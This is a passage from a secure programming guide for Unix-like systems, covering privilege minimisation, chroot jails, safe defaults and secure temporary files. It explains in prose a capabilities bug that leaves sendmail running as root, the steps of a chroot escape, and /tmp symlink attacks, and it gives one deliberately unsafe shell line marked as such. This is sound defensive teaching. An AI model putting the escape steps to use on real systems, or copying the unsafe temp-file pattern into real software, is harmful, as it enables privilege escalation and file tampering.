on some Linux distributions, slightly complicating their use in applications.
For more information on Linux's implementation of POSIX capabilities, see
<ulink
url="http://linux.kernel.org/pub/linux/libs/security/linux-privs">http://linux.kernel.org/pub/linux/libs/security/linux-privs</ulink>.
</para>

<para>
One Linux-unique tool you can use to simplify minimizing granted privileges
is the ``compartment'' tool developed by SuSE.
This tool sets the fileystem root, uid, gid, and/or the
capability set, then runs the given program.
This is particularly handy for running some other program without
modifying it.
Here's the syntax of version 0.5:

<screen width="61">

Syntax: compartment [options] /full/path/to/program

Options:
  --chroot path   chroot to path
  --user user     change uid to this user
  --group group   change gid to this group
  --init program  execute this program before doing anything
  --cap capset    set capset name. You can specify several
  --verbose       be verbose
  --quiet         do no logging (to syslog)
</screen>

</para>

<para>
Thus, you could start a more secure anonymous ftp server using:

<screen width="61">
  compartment --chroot /home/ftp --cap CAP_NET_BIND_SERVICE anon-ftpd
</screen>

</para>

<para>
At the time of this writing, the tool is immature and not available on
typical Linux distributions, but this may quickly change.
You can download the program via
<ulink
url="http://www.suse.de/~marc">http://www.suse.de/~marc</ulink>.
</para>

</sect2>

<sect2 id="minimize-time-privilege-usable">
<title>Minimize the Time the Privilege Can Be Used</title>

<para>
As soon as possible, permanently give up privileges.
Some Unix-like systems, including Linux,
implement ``saved'' IDs which store the ``previous'' value.
The simplest approach is to set the other id's twice to an untrusted id.
In setuid/setgid programs, you should usually set the effective gid and uid
to the real ones, in particular right after a fork(2),
unless there's a good reason not to.
Note that you have to change the gid first when dropping from root to another
privilege or it won't work - once you drop root privileges, you won't
be able to change much else.
</para>

<para>
It's worth noting that there's a well-known related bug that
uses POSIX capabilities to interfere with this minimization.
This bug affects Linux kernel 2.2.0 through 2.2.15, and possibly a number
of other Unix-like systems with POSIX capabilities.
See Bugtraq id 1322 on http://www.securityfocus.com for more information.
Here is their summary:
<blockquote><para>
POSIX "Capabilities" have recently been implemented in the Linux kernel.
These "Capabilities" are an additional form of privilege control to enable
more specific control over what priviliged processes can do. Capabilities are
implemented as three (fairly large) bitfields, which each bit representing a
specific action a privileged process can perform. By setting specific bits, the
actions of priviliged processes can be controlled -- access can be granted for
various functions only to the specific parts of a program that require them.
It is a security measure. The problem is that capabilities are copied with
fork() execs, meaning that if capabilities are modified by a parent process,
they can be carried over. The way that this can be exploited is by setting all
of the capabilities to zero (meaning, all of the bits are off) in each of the
three bitfields and then executing a setuid program that attempts to drop
priviliges before executing code that could be dangerous if run as root, such
as what sendmail does. When sendmail attempts to drop priviliges using
setuid(getuid()), it fails not having the capabilities required to do so in its
bitfields and with no checks on its return value . It continues executing with
superuser priviliges, and can run a users .forward file as root leading to a
complete compromise.
</para></blockquote>
One approach, used by sendmail, is to attempt to do
setuid(0) after a setuid(getuid()); normally this should fail.
If it succeeds, the program should stop.
For more information, see
http://sendmail.net/?feed=000607linuxbug.
In the short term this might be a good idea in
other programs, though clearly the better
long-term approach is to upgrade the underlying system.
</para>

</sect2>

<sect2 id="minimize-time-privilege-active">
<title>Minimize the Time the Privilege is Active</title>

<para>
Use setuid(2), seteuid(2), and related functions to ensure that the program
only has these privileges active when necessary.
As noted above, you might want ensure that these privileges are disabled
while parsing user input, but more generally, only turn on privileges when
they're actually needed.
Note that some buffer overflow attacks, if successful, can force a program
to run arbitrary code, and that code could re-enable privileges that were
temporarily dropped.
Thus, it's always better to completely drop privileges as soon as
possible.
Still, temporarily disabling these permissions
prevents a whole class of attacks,
such as techniques to convince a program to write into a file that
perhaps it didn't intent to write into.
Since this technique prevents many attacks,
it's worth doing if completely dropping the privileges can't be done
at that point in the program.
</para>

</sect2>

<sect2 id="minimize-privileged-modules">
<title>Minimize the Modules Granted the Privilege</title>

<para>
If only a few modules are granted the privilege, then it's much
easier to determine if they're secure.
One way to do so is to have a single module use the
privilege and then drop it, so that other modules called later cannot misuse
the privilege.
Another approach is to have separate commands in separate
executables; one command might be a complex
tool that can do a vast number of tasks for a privileged user (e.g., root),
while the other tool is setuid but is a small, simple tool that
only permits a small command subset.
The small, simple tool checks to see if the input meets various criteria for
acceptability, and then if it determines the input is acceptable, it
passes the input is passed to the tool.
This can even be layerd several ways, for example,
a complex user tool could call a simple setuid
``wrapping'' program (that checks its inputs for secure values)
that then passes on information to another complex trusted tool.
This approach is especially helpful for GUI-based systems; have the GUI portion
run as a normal user, and then pass security-relevant
requests on to another program
that has the special privileges for actual execution.
</para>

<para>
Some operating systems have the concept of multiple
layers of trust in a single process, e.g., Multics' rings.
Standard Unix and Linux don't have a way of separating multiple levels of trust
by function inside a single process
like this; a call to the kernel increases privileges,
but otherwise a given process has a single level of trust.
Linux and other Unix-like systems can sometimes
simulate this ability by forking a process into
multiple processes, each of which has different privilege.
To do this, set up a secure communication channel
(usually unnamed pipes or unnamed sockets are used),
then fork into different processes and have each process
drop as many privileges as possible.
Then use a simple protocol to allow the less trusted processes
to request actions from the more trusted process(es), and ensure that the more
trusted processes only support a limited set of requests.
</para>

<para>
This is one area where technologies like Java 2 and Fluke have an advantage.
For example,
Java 2 can specify fine-grained permissions such as the permission to
only open a specific file.
However, general-purpose operating systems do not typically
have such abilities at this time; this may change in the near future.
For more about Java, see <xref linkend="java">.
</para>

</sect2>

<sect2 id="consider-fsuid">
<title>Consider Using FSUID To Limit Privileges</title>

<para>
Each Linux process has two Linux-unique state values called
filesystem user id (fsuid) and filesystem group id (fsgid).
These values are used when checking against the filesystem permissions.
If you're building a program that operates as a file server for arbitrary
users (like an NFS server), you might consider using these Linux extensions.
To use them, while holding root privileges change
just fsuid and fsgid before accessing files on behalf of a normal user.
This extension is fairly useful, and provides a mechanism for limiting
filesystem access rights without removing other (possibly necessary) rights.
By only setting the fsuid (and not the euid), a local user cannot send
a signal to the process.
Also, avoiding race conditions is much easier in this situation.
However, a disadvantage of this approach
is that these calls are not portable to other Unix-like systems.
</para>

</sect2>

<sect2 id="consider-chroot">
<title>Consider Using Chroot to Minimize Available Files</title>

<para>
You can use chroot(2) to limit the files visible to your program.
This requires carefully setting up a directory (called the ``chroot jail'')
and correctly entering it.
This can be a fairly effective technique for improving a program's
security - it's hard to interfere with files you can't see.
However, it depends on a whole bunch of assumptions, in particular,
the program must lack root privileges, it must not have any way to get
root privileges, and the chroot jail must be properly set up.
I recommend using chroot(2) where it makes sense to do so, but don't depend
on it alone; instead, make it part of a layered set of defenses.
Here are a few notes about the use of chroot(2):

<itemizedlist>
<listitem>

<para>
The program can still use non-filesystem objects that are shared
across the entire machine
(such as System V IPC objects and network sockets).
It's best to also
use separate pseudousers and/or groups, because all Unix-like systems include
the ability to isolate users; this will at least limit the damage
a subverted program can do to other programs.
Note that current most Unix-like systems (including Linux)
won't isolate intentionally cooperating programs; if you're worried about
malicious programs cooperating, you need to get a system that implements
some sort of mandatory access control and/or limits covert channels.
</para>
</listitem>
<listitem>

<para>
Be sure to close any filesystem descriptors to outside files if you
don't want them used later.
In particular, don't have any descriptors open to directories outside
the chroot jail, or set up a situation where such a descriptor could be
given to it (e.g., via Unix sockets or an old implementation of /proc).
If the program is given a descriptor to a directory outside the chroot jail,
it could be used to escape out of the chroot jail.
</para>
</listitem>
<listitem>

<para>
The chroot jail has to be set up to be secure.
Don't use a normal user's home directory (or subdirectory) as a chroot jail;
use a separate location or ``home'' directory specially set aside
for the purpose.
<!-- http://msgs.securepoint.com/cgi-bin/get/bugtraq0004/64/1/1/2.html -->
Place the absolute minimum number of files there.
Typically you'll have a /bin, /etc/, /lib, and maybe one or two others
(e.g., /pub if it's an ftp server).
Place in /bin only what you need to run after doing the chroot(); sometimes
you need nothing at all (try to avoid placing a shell there, though sometimes
that can't be helped).
You may need a /etc/passwd and /etc/group so file listings can show
some correct names, but if so, try not to include the real system's
values, and certainly replace all passwords with "*".
In /lib, place only what you need; use ldd(1) to query each program in /bin
to find out what it needs, and only include them.
On Linux, you'll probably need a few basic libraries like ld-linux.so.2, and
not much else.
It's usually wiser to completely copy in all files, instead of making
hard links; while this wastes some time and disk space, it makes it so that
attacks on the chroot jail files do not automatically propogate into the
regular system's files.
Mounting a /proc filesystem, on systems where this is supported, is
generally unwise. In fact, in 2.0.x versions of Linux it's a
known security flaw, since there are pseudodirectories in /proc that
would permit a chroot'ed program to escape.
Linux kernel 2.2 fixed this known problem, but there may be others; if
possible, don't do it.
</para>

</listitem>
<listitem>

<para>
Chroot really isn't effective if 
the program can acquire root privilege.
For example, the program could use calls like mknod(2) to create a device
file that can view physical memory, and then use the resulting
device file to modify kernel memory to give itself
whatever privileges it desired.
Another example of how a root program can break out of chroot
is demonstrated at
<ulink
url="http://www.suid.edu/source/breakchroot.c">http://www.suid.edu/source/breakchroot.c</ulink>.
In this example, the program opens a file descriptor for
the current directory, creates and chroots into a subdirectory, sets
the current directory to the previously-opened current directory,
repeatedly cd's up from the current directory (which since it is
outside the current chroot succeeds in moving up to the real filesystem
root), and then calls chroot on the result.
By the time you read this, these weaknesses may have been plugged,
but the reality is that root privilege has traditionally meant ``all
privileges'' and it's hard to strip them away.
It's better to assume that a program requiring continuous root privileges
will only be mildly helped using chroot().
Of course, you may be able to break your program into parts, so that
at least part of it can be in a chroot jail.
</para>
</listitem>

</itemizedlist>

</para>

</sect2>
<sect2 id="minimize-accessible-data">
<title>Consider Minimizing the Accessible Data</title>

<para>
Consider minimizing the amount of data that can be accessed by the user.
For example, in CGI scripts, place all data used by the CGI script
outside of the document tree unless there is a reason the user needs to
see the data directly.
Some people have the false notion that, by not publically providing a
link, no one can access the data, but this is simply not true.
</para>

</sect2>
</sect1>

<sect1 id="avoid-setuid">
<title>Avoid Creating Setuid/Setgid Scripts</title>
<para>
Many Unix-like systems, in particular Linux, simply ignore the
setuid and setgid bits on scripts to avoid the race condition
described earlier.
Since support for setuid scripts varies on Unix-like systems,
they're best avoided in new applications where possible.
As a special case, Perl includes a special setup to support setuid Perl
scripts, so using setuid and setgid is acceptable in Perl if you
truly need this kind of functionality.
If you need to support this kind of functionality in your own
interpreter, examine how Perl does this.
Otherwise, a simple approach is to ``wrap'' the script with a small
setuid/setgid executable that creates a safe environment
(e.g., clears and sets environment variables) and then
calls the script (using the script's full path).
Make sure that the script cannot be changed by an attacker!
Shell scripting languages have additional problems, and really should
not be setuid/setgid; see <xref linkend="shell">
for more information about this.
</para>
</sect1>

<sect1 id="safe-configure">
<title>Configure Safely and Use Safe Defaults</title>

<para>
Configuration is considered to currently be the number one security problem.
Therefore, you should spend some effort to (1) make the initial installation
secure, and (2) make it easy to reconfigure the system while keeping it secure.
</para>

<para>
Never have the installation routines install a working ``default'' password.
If you need to install new ``users'', that's fine - just set them up with
an impossible password, leaving time for administrators to set the password
(and leaving the system secure before the password is set).
Administrators will probably install hundreds of packages and almost
certainly forget to set the password - it's likely they won't even know
to set it, if you create a default password.
<!-- This has hurt many a system, for example,
Red Hat did this with the ``piranha'' package (it was widely denounced
in April 1999), and Microsoft did this with SQL Server 7.0 when running
in ``mixed mode''. -->
<!-- http://slashdot.org/articles/00/08/21/0759251.shtml,
http://www.securityfocus.com/frames/?content=/templates/archive.pike%3Flist%3D1%26date%3D2000-08-15%26msg%3DB9D1827FDF66D111925800805F3102E31E7AAB6E%40RED-MSG-57 -->
</para>

<para>
A program should have the most restrictive access policy
until the administrator has a chance to configure it.
Please don't create ``sample'' working users or
``allow access to all'' configurations as the starting configuration;
many users just ``install everything'' (installing all available services)
and never get around to configuring many services.
In some cases the program may be able to determine that a more generous
policy is reasonable by depending on the existing authentication system,
for example, an ftp server could legitimately determine that a user who
can log into a user's directory should be allowed to access that user's files.
Be careful with such assumptions, however.
</para>

<para>
Have installation scripts install a program as safely as possible.
By default, install all files as owned by root or some other
system user and make them unwriteable by others;
this prevents non-root users from installing viruses.
Indeed, it's best to make them unreadable by all but the trusted user.
Allow non-root installation where possible as well, so that users without
root privilages and administrators who do not fully trust the
installer can still use the program.
</para>

<para>
Try to make configuration as easy and clear as possible, including
post-installation configuration.
Make using the ``secure'' approach as easy as possible, or many users
will use an insecure approach without understanding the risks.
On Linux,
take advantage of tools like linuxconf, so that users can easily configure
their system using an existing infrastructure.
</para>

<para>
If there's a configuration language, the default should be to deny access
until the user specifically grants it.
Include many clear comments in the sample configuration file, if there is one,
so the administrator understands what the configuration does.
</para>

</sect1>

<sect1 id="fail-safe">
<title>Fail Safe</title>

<para>
A secure program should always ``fail safe'', that is,
it should be designed so that if the program does fail, the safest
result should occur.
For security-critical programs, that usually means that
if some sort of misbehavior is detected (malformed input,
reaching a ``can't get here'' state, and so on), then the program
should immediately deny service and stop processing that request.
Don't try to ``figure out what the user wanted'': just deny the service.
Sometimes this can decrease reliability or usability
(from a user's perspective), but it increases security.
There are a few cases where this might not be desired (e.g., where denial of
service is much worse than loss of confidentiality or integrity), but
such cases are quite rare.
</para>

<para>
Note that I recommend ``stop processing the request'', not ``fail altogether''.
In particular, most servers should not completely halt when given malformed
input, because that creates a trivial opportunity for a denial of service
attack (the attacker just sends garbage bits to prevent you from using the
service).
Sometimes taking the whole server down is necessary, in particular,
reaching some ``can't get here'' states may signal a problem so drastic
that continuing is unwise.
</para>

<para>
Consider carefully what error message you send back when a failure is detected.
if you send nothing
back, it may be hard to diagnose problems, but sending back too much
information may unintentionally aid an attacker.
Usually the best approach is to reply with ``access denied'' or
``miscellaneous error encountered'' and then
write more detailed information to an audit log (where you can have more
control over who sees the information).
</para>

</sect1>

<sect1 id="avoid-race">
<title>Avoid Race Conditions</title>

<para>
A ``race condition'' can be defined as
``Anomolous behavior due to unexpected critical dependence
on the relative timing of events''
[FOLDOC].
Race conditions generally involve one or more processes
accessing a shared resource (such a file or variable), where this
multiple access has not been properly controlled.
</para>

<para>
In general, processes do not execute atomically;
another process may interrupt it between essentially any two instructions.
If a secure program's process is not prepared for these interruptions,
another process may be able to interfere with the secure program's process.
Any pair of operations must not fail if another process's code arbitrary
code is executed between them. 
</para>

<para>
Race condition problems can be notionally divided into two categories:
<itemizedlist>
<listitem><para>
Interference caused by untrusted processes.
Some security taxonomies call this problem a
``sequence'' or ``non-atomic'' condition.
These are conditions caused by processes running other, different programs,
which ``slip in'' other actions between steps of the secure program.
These other programs might be invoked by an attacker specifically
to cause the problem.
This book will call these sequencing problems.
</para></listitem>
<listitem><para>
Interference caused by trusted processes (from the secure program's
point of view).
Some taxonomies call these deadlock, livelock, or locking failure conditions.
These are conditions caused by processes running the ``same'' program.
Since these different processes may have the ``same'' privileges, if
not properly controlled they may be able to interfere with each other in
a way other programs can't.
Sometimes this kind of interference can be exploited.
This book will call these locking problems.
</para></listitem>
</itemizedlist>
</para>


<!-- http://webreview.com/wr/pub/97/08/08/bookshelf  Suggested
     this kind of division:

Sequence conditions: Be aware that your program does not
execute atomatically. That is, the program can be interrupted
between any two operations to let another program run for a
while-including one that is trying to abuse yours. Thus, check
your code carefully for any pair of operations that might fail if
arbitrary code is executed between them. 

 Deadlock conditions: Remember, more than one copy of your
program may be running at the same time. Use file locking for
any files that you modify.
Provide a way to recover the locks in
the event that the program crashes while a lock is held. Avoid
deadlocks or "deadly embraces," which can occur when one
program attempts to lock file A and then file B, while another
program already holds a lock for file B and then attempts to
lock file A. 
-->

<sect2 id="non-atomic">
<title>Sequencing (Non-Atomic) Problems</title>

<para>
In general,
you must check your code for any pair of operations that might fail if
arbitrary code is executed between them. 
</para>

<para>
Note that loading and saving a shared variable are usually implemented
as separate operations and are not atomic.
This means that an ``increment variable'' operation is usually converted into
loading, incrementing, and saving operation, so if the variable memory
is shared the other process may interfere with the incrementing.
</para>

<para>
<!-- ??? Extend this. -->
Secure programs must determine if a request should be granted, and if
so, act on that request.
There must be no way for an untrusted user to change anything used in
this determination before the program acts on it.
This kind of race condition is sometimes termed a
``time of check - time of use'' (TOCTOU) race condition.
</para>

<sect3 id="atomic-filesystem">
<title>Atomic Actions in the Filesystem</title>

<para>
The problem of failing to perform atomic actions
repeatedly comes up in the filesystem.
In general, the filesystem is a shared resource used by many programs,
and some programs may interfere with its use by other programs.
Secure programs should generally avoid using access(2) to determine
if a request should be granted, followed later by open(2), because users
may be able to move files around between these calls, possibly creating
symbolic links or files of their own choosing instead.
A secure program should instead set its effective id or filesystem id,
then make the open call directly.
It's possible to use access(2) securely, but only when a user cannot affect
the file or any directory along its path from the filesystem root.
</para>

<para>
When creating a file, you should
open it using the modes O_CREAT | O_EXCL and grant only
very narrow permissions (only to the current user);
you'll also need to prepare for having the open fail.
If you need to be able to open the file (e.g,. to prevent a
denial-of-service), you'll need to repetitively
(1) create a ``random'' filename, (2) open the file as noted,
and (3) stop repeating when the open succeeds.
</para>

<para>
Ordinary programs can become security weaknesses if they
don't create files properly.
For example, the ``joe'' text editor had a weakness called the
``DEADJOE'' symlink vulnerability.
When joe was exited in a nonstandard way (such as a system crash, closing an
xterm, or a network connection going down), joe would unconditionally append
its open buffers to the file "DEADJOE".
This could be exploited by the
creation of DEADJOE symlinks in directories where root would normally use joe.
In this way, joe could be used to append garbage to
potentially-sensitive files, resulting in a denial of service and/or
unintentional access.
<!-- This joe issue was noted in various places in the year 2000;
 the note is from the Red Hat vulnerability summary. -->
</para>

<!-- From http://java.sun.com/security/seccodeguide.html:
In the same vein, it's often better to use fchmod() and
fchown() instead of chmod(), chown(), and chgrp().
If you close a file and then use chmod() to change the permissions, and
the file or a directory in the directory's path is writeable by another,
an attacker may be able to remove the file and create a symbolic link
to another file (say /etc/passwd, to add/remove interesting values, or
to /dev/zero, to provide an infinitely-long data stream of input to
your program).

From http://webreview.com/wr/pub/97/08/08/bookshelf:
In particular, when you are performing a series of operations on a
file, such as changing its owner, stat ing the file, or changing its
mode, first open the file and then use the fchown( ), fstat( ), or
fchmod( ) system calls. Doing so will prevent the file from being
replaced while your program is running (a possible race condition).
Also avoid the use of the access( ) function to determine your ability
to access a file: using the access( ) function followed by an open( ) is
a race condition, and almost always a bug. 
-->

<para>
As another example, when performing a series of operations on a file's
metainformation (such as changing its owner, stat-ing the file, or
changing its permission bits), first open the file and then use the
operations on open files.
This means use the fchown( ), fstat( ), or fchmod( ) system calls,
instead of the functions taking filenames
such as chown(), chgrp(), and chmod().
Doing so will prevent the file from being
replaced while your program is running (a possible race condition).
For example, if you close a file and then use chmod()
to change its permissions,
an attacker may be able to move or remove the file between those
two steps and create a symbolic link to another file
(say /etc/passwd).
Other interesting files include /dev/zero, which can
provide an infinitely-long data stream of input to a program; if an
attacker can ``switch'' the file midstream, the results can be dangerous.
<!-- Based on http://java.sun.com/security/seccodeguide.html and
     http://webreview.com/wr/pub/97/08/08/bookshelf: -->
</para>

<para>
But even this gets complicated - when creating files, you must give
them as a minimal set of rights as possible, and then change the
rights to be more expansive if you desire.
Generally, this means you need to use umask and/or open's parameters to
limit initial access to just the user and user group.
For example, if you create a file that is initially world-readable, then
try to turn off the ``world readable'' bit, an attacker could try to
open the file while the permission bits said this was okay.
On most Unix-like systems, permissions are only checked on open, so
this would result in an attacker having more privileges than intended.
</para>

<para>
In general, if multiple users can write to a directory in a Unix-like
system, you'd better have the ``sticky'' bit set on that directory,
and sticky directories had better be implemented.
It's much better to completely avoid the problem, however, and create
directories that only a trusted special process can access
(and then implement that carefully).
The traditional Unix temporary directories (/tmp and /var/tmp) are usually
implemented as ``sticky'' directories, and all sorts of security problems
can still surface, as we'll see next.
</para>

</sect3>

<sect3 id="temporary-files">
<title>Temporary Files</title>

<para>
This issue of correctly performing atomic operations
particularly comes up when creating temporary files.
Temporary files in Unix-like systems are traditionally
created in the /tmp or /var/tmp directories,
which are shared by all users.
A common trick by attackers is to create symbolic links in the
temporary directory to some other file (e.g., /etc/passwd)
while your secure program is running.
The attacker's goal is to create
a situation where the secure program determines that
a given filename doesn't exist, the attacker then creates the symbolic
link to another file, and then the secure program performs some operation
(but now it actually opened an unintended file).
Often important files can be clobbered or modified this way.
There are many variations to this attack, such as creating normal files,
all based on the
idea that the attacker can create (or sometimes
otherwise access) file system objects
in the same directory used by the secure program for temporary files.
</para>

<para>
The general problem when creating files in these shared directories is that
you must guarantee that the filename you plan to use doesn't already
exist at time of creation.
Checking ``before'' you create the file doesn't work, because after the check
occurs, but before creation, another process can create that file with
that filename.
Using an ``unpredictable'' or ``unique'' filename doesn't work in
general, because another process can often repeatedly guess until it succeeds.
</para>

<para>
Fundamentally, to create a temporary file in a shared (sticky) directory,
you must repetitively: (1) create a ``random'' filename, (2) open it using 
O_CREAT | O_EXCL and very narrow permissions,
and (3) stop repeating when the open succeeds.
</para>


<para>
According to the 1997 ``Single Unix Specification'', the preferred
method for creating an arbitrary temporary file is tmpfile(3).
The tmpfile(3) function creates a temporary file
and opens a corresponding stream, returning that stream (or NULL if it didn't).
Unfortunately, the specification doesn't make any
guarantees that the file will be created securely, and I've been
unable to assure myself that all implementations do this securely.
Implementations of tmpfile(3) should securely create such files,
of course, but it's difficult to
recommend tmpfile(3) because there's always the possibility that a
library implementation fails to do so.
This illustrates a more general issue, the tension between abstraction
(which hides ``unnecessary'' details) and security
(where these ``unnecessary'' details are suddenly critical).
If I could satisfy myself that tmpfile(3) was trustworthy, I'd use it,
since it's the simplest solution for many situations.
</para>

<para>
Kris Kennaway recommends using mkstemp(3) for making temporary files
in general.
His rationale is that you should use well-known library functions to perform
this task instead of rolling your own functions, and that this function
has well-known semantics.
This is certainly a reasonable position.
I would add that, if you use mkstemp, be sure to use umask(2) to limit
the resulting temporary file permissions's to only the owner.
This is because
some implementations of mkstemp(3) (basically older ones) make such
files readable and writeable by all,
creating a condition in which an attacker can read or
write private data in this directory.
A minor nuisance is that mkstemp(3) doesn't directly support the
environment variables TMP or TMPDIR (as discussed below), so
if you want to support them you have to add code to do so.
Here's a program in C that demonstrates how to use mkstemp(3)
for this purpose, both directly and when adding support for TMP and TMPDIR:

<programlisting width=72>
<![CDATA[
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>

void failure(msg) {
 fprintf(stderr, "%s\n", msg);
 exit(1);
}

/*
 * Given a "pattern" for a temporary filename
 * (starting with the directory location and ending in XXXXXX),
 * create the file and return it.
 * This routines unlinks the file, so normally it won't appear in
 * a directory listing.
 * The pattern will be changed to show the final filename.
 */

FILE *create_tempfile(char *temp_filename_pattern)
{
 int temp_fd;
 mode_t old_mode;
 FILE *temp_file;

 old_mode = umask(077);  /* Create file with restrictive permissions */
 temp_fd = mkstemp(temp_filename_pattern);
 (void) umask(old_mode);
 if (temp_fd == -1) {
   failure("Couldn't open temporary file");
 }
 if (!(temp_file = fdopen(temp_fd, "w+b"))) {
   failure("Couldn't create temporary file's file descriptor");
 }
 if (unlink(temp_filename_pattern) == -1) {
   failure("Couldn't unlink temporary file");
 }
 return temp_file;
}


/*
 * Given a "tag" (a relative filename ending in XXXXXX),
 * create a temporary file using the tag.  The file will be created
 * in the directory specified in the environment variables
 * TMPDIR or TMP, if defined and we aren't setuid/setgid, otherwise
 * it will be created in /tmp.  Note that root (and su'd to root)
 * _will_ use TMPDIR or TMP, if defined.
 * 
 */
FILE *smart_create_tempfile(char *tag)
{
 char *tmpdir = NULL;
 char *pattern;
 FILE *result;

 if ((getuid()==geteuid()) && (getgid()==getegid())) {
   if (! ((tmpdir=getenv("TMPDIR")))) {
     tmpdir=getenv("TMP");
   }
 }
 if (!tmpdir) {tmpdir = "/tmp";}

 pattern = malloc(strlen(tmpdir)+strlen(tag)+2);
 if (!pattern) {
   failure("Could not malloc tempfile pattern");
 }
 strcpy(pattern, tmpdir);
 strcat(pattern, "/");
 strcat(pattern, tag);
 result = create_tempfile(pattern);
 free(pattern);
 return result;
}



main() {
 int c;
 FILE *demo_temp_file1;
 FILE *demo_temp_file2;
 char demo_temp_filename1[] = "/tmp/demoXXXXXX";
 char demo_temp_filename2[] = "second-demoXXXXXX";

 demo_temp_file1 = create_tempfile(demo_temp_filename1);
 demo_temp_file2 = smart_create_tempfile(demo_temp_filename2);
 fprintf(demo_temp_file2, "This is a test.\n");
 printf("Printing temporary file contents:\n");
 rewind(demo_temp_file2);
 while (  (c=fgetc(demo_temp_file2)) != EOF) {
   putchar(c);
 }
 putchar('\n');
 printf("Exiting; you'll notice that there are no temporary files on exit.\n");
}
]]>
</programlisting>
</para>

<para>
Kennaway also notes that if you can't use mkstemp(3),
then make yourself a directory using mkdtemp(3), which is protected
from the outside world.
Finally, if you really have to use the insecure mktemp(3), use lots of
X's - he suggests 10 (if your libc allows it) so that the filename can't
easily be guessed (using only 6 X's means that 5 are taken up by the
PID, leaving only one random character and allowing an attacker to
mount an easy race condition).
I add that you should avoid tmpnam(3) as well -
some of its uses aren't reliable when threads are present, and
it doesn't guarantee that it will work correctly after
TMP_MAX uses (yet most practical uses must be inside a loop).
</para>

<para>
In general, you should avoid using the insecure functions
such as mktemp(3) or tmpnam(3), unless you take specific measures to
counter their insecurities.
If you ever want to make a file in /tmp or a world-writable directory
(or group-writable, if you don't trust the group) and don't want to
use mk*temp() (e.g. you intend for the file to be predictably named),
then <emphasis>always</emphasis> use the O_CREAT and O_EXCL flags to
open() and <emphasis>check the return value</emphasis>.
If you fail the open() call, then recover gracefully (e.g. exit).
<!-- Kennaway mentioned O_EXCL, but forgot O_CREAT -->
</para>

<para>
The GNOME programming guidelines recommend the following C code when
creating filesystem objects in shared (temporary) directories
to security open temporary files [Quintero 2000]:
<programlisting width="68">
 char *filename;
 int fd;

 do {
   filename = tempnam (NULL, "foo");
   fd = open (filename, O_CREAT | O_EXCL | O_TRUNC | O_RDWR, 0600);
   free (filename);
 } while (fd == -1);
</programlisting>
Note that, although the insecure function tempnam(3) is being used, it
is wrapped inside a loop using O_CREAT and O_EXCL to counteract its
security weaknesses.
Note that you need to free() the filename.
You should close() and unlink() the file after you are done.
If you want to use the Standard C I/O library,
you can use fdopen() with mode "w+b"
to transform the file descriptor into a FILE *.
Note that this approach won't work over
NFS version 2 (v2) systems, because older
NFS doesn't correctly support O_EXCL.
Note that one minor disadvantage to this approach is that, since
tempnam can be used insecurely, various compilers and security scanners
may give you spurious warnings about its use.
This isn't a problem with mkstemp(3).
<!-- They also say you can use tmpfile() to do it in one step; I want
     to verify this before saying so. I'm concerned that some 
     implementations may not "do it correctly", and it's better to
     re-implement than be insecure. -->
<!-- http://developer.gnome.org/doc/guides/programming-guidelines/security.html -->
</para>

<para>
If you need a temporary file in a shell script, you're probably
best off using pipes, using a local directory (e.g., something inside the
user's home directory), or in some cases using the current directory.
That way, there's no sharing unless the user permits it.
If you really want/need the temporary file
to be in a shared directory like /tmp, do
<emphasis>not</emphasis> use the traditional shell
technique of using the process id in a template and just creating the file
using normal operations like ">".
Shell scripts can use "$$" to indicate the PID, but the
PID can be easily determined or guessed by an attacker,
who can then pre-create files or links with the same name.
Thus the following "typical" shell script is <emphasis>unsafe</emphasis>:
<programlisting width="72">
<![CDATA[
   echo "This is a test" > /tmp/test$$  # DON'T DO THIS.
]]>
</programlisting>
</para>


<para>
If you need a temporary file or directory
in a shell script, and you want it in /tmp,
the solution is probably mktemp(1), which is intended for use in shell scripts.
Note that mktemp(1) and mktemp(3) are different things - it's
mktemp(1) that is safe.
To be honest, I'm not enamored of shell scripts
creating temporary files in shared directories;
creating such files in private directories or using pipes instead is
generally preferable.
However, if you really need it, use it; mktemp(1) takes a template, then
creates a file or directory using O_EXCL and returns the resulting name;
since it uses O_EXCL, it's safe on shared directories like /tmp
(unless the directory uses NFS version 2).
Here are some examples of correct use of mktemp(1) in Bourne shell scripts;
these examples are straight from the mktemp(1) man page:
<programlisting width="72">
<![CDATA[
 # Simple use of mktemp(1), where the script should quit
 # if it can't get a safe temporary file:

   TMPFILE=`mktemp /tmp/$0.XXXXXX` || exit 1
   echo "program output" >> $TMPFILE

  # Simple example, if you want to catch the error:

   TMPFILE=`mktemp -q /tmp/$0.XXXXXX`
   if [ $? -ne 0 ]; then
      echo "$0: Can't create temp file, exiting..."
      exit 1
   fi
]]>
</programlisting>
</para>

<para>
Don't reuse a temporary filename (i.e. remove and recreate it),
no matter how you obtained the ``secure'' temporary filename in the
first place.
An attacker can observe the original filename
and hijack it before you recreate it the second time.
And of course, always use appropriate file permissions.
For example, only allow world/group access
if you need the world or a group to access the file, otherwise
keep it mode 0600 (i.e., only the owner can read or write it).
</para>

<para>
Clean up after yourself, either by using an exit handler, or making
use of UNIX filesystem semantics and unlink()ing the file immediately
after creation so the directory entry goes away but the file itself
remains accessible until the last file descriptor pointing to it is
closed. You can then continue to access it within your program by
passing around the file descriptor.
Unlinking the file has a lot of advantages for code maintenance:
the file is automatically deleted, no matter how your program crashes.
The one minor problem with immediate unlinking is that it makes it slightly
harder for administrators to see how disk space is being used, since
they can't simply look at the file system by name.
</para>

<para>
You might consider ensuring that your code for Unix-like systems
respects the environment variables TMP or TMPDIR
if the provider of these variable values is trusted.
By doing so, you make it possible for users to move their temporary
files into an unshared directory (and eliminating the problems discussed here).
Recent versions of Bastille set these variables to reduce the sharing
done between users.
Unfortunately, many users set TMP or TMPDIR to a shared directory
(say /tmp), so you still need to correctly create temporary files even
if you listed to these environment variables.
This is one advantage of the GNOME approach, since at least on some
systems tempnam(3) automatically uses TMPDIR, while
the mkstemp(3) approach requires more code to do this.
Please don't create yet more environment variables for temporary directories
(such as TEMP), and in particular don't create a different environment
name for each application (e.g., don't use "MYAPP_TEMP").
Doing so greatly complicates managing systems,
and users wanting a special temporary directory can just set the environment
variable for that particular execution.
Of course, if these environment variables might have been set by an
untrusted source, you should ignore them - which you'll do anyway
if you follow the advice in
<xref linkend="env-var-solution">.
</para>

<para>
These techniques don't work if the temporary directory is remotely
mounted using NFS version 2 (NFSv2), because NFSv2 doesn't properly
support O_EXCL.
See <xref linkend="locking-using-files"> for more information.
NFS version 3 and later properly support O_EXCL; the simple solution
is to ensure that temporary directories are either local or, if mounted
using NFS, mounted using NFS version 3 or later.
